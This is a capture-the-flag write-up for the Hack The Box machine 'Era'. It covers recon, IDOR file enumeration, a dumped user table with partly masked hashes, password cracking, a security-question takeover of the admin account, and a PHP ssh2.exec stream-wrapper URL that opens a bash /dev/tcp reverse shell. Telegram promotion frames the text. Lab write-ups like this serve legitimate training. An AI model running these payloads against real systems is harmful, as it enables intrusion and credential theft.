Skip to content

Era - Hack The Box

Platform: Linux

IP: 10.129.109.133

Difficulty: Medium

Author: NoSec

🚨 Follow live on HTB – leaks, drops, and deep writeups
👉 t.me/nosecpwn
Don't just read. Join us.



Edit host file

Add it to the /etc/hosts file:

10.129.109.133  era.htb file.era.htb

Recon

Nmap port scan

nmap -sVC era.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 15:42 CEST
Nmap scan report for era.htb (10.129.109.133)
Host is up (0.033s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Era Designs
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.09 seconds

Subdomain discovery with FFUF

Run FFUF to find subdomains:

(nosec㉿NoSec)-[~]
└─$ ffuf -w ~/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.era.htb" -u http://era.htb -t 200 -fs 154 


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb
 :: Wordlist         : FUZZ: /home/nosec/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 319ms]
:: Progress: [4989/4989] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

This finds a subdomain: file. Add it to the host file if you haven't already.

Gobuster directory enumeration

Look for interesting paths:

gobuster dir -u http://file.era.htb/ -w /usr/share/wordlists/dirb/common.txt -t 50 --exclude-length 6765 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://file.era.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] Exclude Length:          6765
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 162]
/.htpasswd            (Status: 403) [Size: 162]
/.hta                 (Status: 403) [Size: 162]
/assets               (Status: 301) [Size: 178] [--> http://file.era.htb/assets/]
/download.php         (Status: 302) [Size: 0] [--> login.php]
/files                (Status: 301) [Size: 178] [--> http://file.era.htb/files/]
/images               (Status: 301) [Size: 178] [--> http://file.era.htb/images/]
/layout.php           (Status: 200) [Size: 0]
/LICENSE              (Status: 200) [Size: 34524]
/login.php            (Status: 200) [Size: 9214]
/logout.php           (Status: 200) [Size: 70]
/manage.php           (Status: 302) [Size: 0] [--> login.php]
/register.php         (Status: 200) [Size: 3205]
/upload.php           (Status: 302) [Size: 0] [--> login.php]
Progress: 9228 / 9230 (99.98%)
===============================================================
Finished
===============================================================

We found several interesting pages, such as register.php and upload.php.


IDOR vulnerability

idor

Register and upload a file. You can see that the file is given an ID. This indicates an IDOR vulnerability, in Burp we use intruder attack to search for other available files.

IDs that can be used: 54, 150

Dumping SQLite database

Download and extract the backup.zip. Dump the SQLite database it contains:

sqlite3 filedb.sqlite 
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE files (
                fileid int NOT NULL PRIMARY KEY,
                filepath varchar(255) NOT NULL,
                fileowner int NOT NULL,
                filedate timestamp NOT NULL
                );
INSERT INTO files VALUES(54,'files/site-backup-30-08-24.zip',1,1725044282);
CREATE TABLE users (
                user_id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_name varchar(255) NOT NULL,
                user_password varchar(255) NOT NULL,
                auto_delete_files_after int NOT NULL
                , security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255));
INSERT INTO users VALUES(1,'admin_ef01cab31aa','$2y$10$wDb####',600,'Maria','Oliver','Ottawa');
INSERT INTO users VALUES(2,'eric','$2y$10$S9EOSDq#####',-1,NULL,NULL,NULL);
INSERT INTO users VALUES(3,'veronica','$2y$10$xQ#####',-1,NULL,NULL,NULL);
INSERT INTO users VALUES(4,'yuri','$2b$12$HkRKUdjjO#####',-1,NULL,NULL,NULL);
INSERT INTO users VALUES(5,'john','$2a$10$iccCEz#####',-1,NULL,NULL,NULL);
INSERT INTO users VALUES(6,'ethan','$2a$10$Pk####',-1,NULL,NULL,NULL);
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',16);
COMMIT;
sqlite>

Password hash cracking

We found some password hashes, let's crack them:

nosec㉿NoSec)-[~/Asztal/HTB_TMH/HTB_Era]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
am#####          (eric)     
mu#####         (yuri)     
2g 0:00:00:03 DONE (2025-07-30 15:59) 0.6230g/s 134.5p/s 179.4c/s 179.4C/s adidas..nicole1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Cracked hashes:

  • eric: am#####
  • yuri: mu#####

Vulnerability in download.php

In the download.php admin BETA function, the format parameter does not have a proper check. So it can be used for PHP stream wrapper attacks, e.g. SSH or LFI:

if (strpos($format, '://') !== false) {
    $wrapper = $format;
    header('Content-Type: application/octet-stream');
}

No permission check in reset.php

In reset.php you can change the security questions of any user without any permission check. This gives you access to an admin account. At Update Security Questions, change the security questions for user admin_ef01cab31aa, then you can access the page as admin.


Reverse shell via SSH wrapper

Once we have admin privileges, we can exploit the download.php BETA vulnerability mentioned above to reverse shell the server as a Yuri user:

http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/bash%20-c%20"bash%20-i%20>%26%20%2Fdev%2Ftcp%2F<YOUR_IP>%2F4444%200%3E%261%22;

This opened a reverse shell as a Yuri user.

ssh


Change user

We can switch to Eric as we know his password:

su eric

Password: am#####

Shell stabilisation

We stabilize our shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Get user flag

Read the flag:

cat user.txt

user.txt

User flag obtained!


🔐 The root section is available only in our private Telegram group as long as the machine is active in Season 8.
👉 Join us for the full writeup, extra tips, and insider content:
📡 https://t.me/nosecpwn)